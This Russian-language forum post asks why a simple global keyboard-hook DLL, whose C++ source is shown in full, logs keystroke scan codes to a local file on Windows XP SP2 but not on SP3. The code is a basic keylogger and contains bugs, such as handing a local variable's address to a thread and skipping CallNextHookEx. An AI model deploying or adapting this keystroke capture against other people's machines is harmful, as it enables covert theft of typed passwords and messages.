Столкнулся с проблемой, что простейший хук на клавиатуру не работает корректно на SP3. Тут же потестил на SP2 и все стало отлично работать? Что блокирует хук, если нет антивиря. Неужели встроенный фаервол работает? Приведенный ниже код отказывался писать в файл. Хотя все проверки выполнялись. Code: #include <windows.h> #include <stdio.h> #pragma data_seg(".SData") static HHOOK hKey = 0; static HANDLE hFile = INVALID_HANDLE_VALUE; CRITICAL_SECTION cs; #pragma data_seg() DWORD __stdcall FileWrite(void *lpPoint); LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam); void StartHook(HINSTANCE hLib) { hKey = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hLib, 0); hFile = CreateFile("C:\\outHook.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); InitializeCriticalSection(&cs); if (hKey == NULL) MessageBox(NULL, "Hook is not nested", "Error", MB_OK|MB_ICONERROR); if (hFile == INVALID_HANDLE_VALUE) MessageBox(NULL, "File is not created", "Error", MB_OK|MB_ICONERROR); } void RemoveHook() { UnhookWindowsHookEx(hKey); } #pragma argsused BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved) { if (fwdreason == DLL_PROCESS_DETACH || fwdreason == DLL_THREAD_DETACH) UnhookWindowsHookEx(hKey); return 1; } //--------------------------------------------------------------------------- DWORD __stdcall FileWrite(void *lpPoint) { char szBuffer[100]; ZeroMemory(szBuffer, 100); DWORD dwWritten = 0; DWORD *ScanCode = reinterpret_cast<DWORD*>(lpPoint); itoa(*ScanCode, szBuffer, 16); EnterCriticalSection(&cs); WriteFile(hFile, szBuffer, strlen(szBuffer), &dwWritten, NULL); WriteFile(hFile, "\n\r", 2, &dwWritten, NULL); LeaveCriticalSection(&cs); return 0; } LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { DWORD IsDown, ScanCode; IsDown = !(lParam >> 31); ScanCode = lParam << 8; ScanCode >>= 24; if (IsDown && code == HC_ACTION) { CreateThread(NULL, 0, FileWrite, &ScanCode, 0, 0); } return 0; } Это код для CBuilder 6. Именно его я тестил на SP2 и SP3.
Это само собой, просто я хотел услышать мнение людей, которые уже сталкивались с этой проблемой и знают её корни.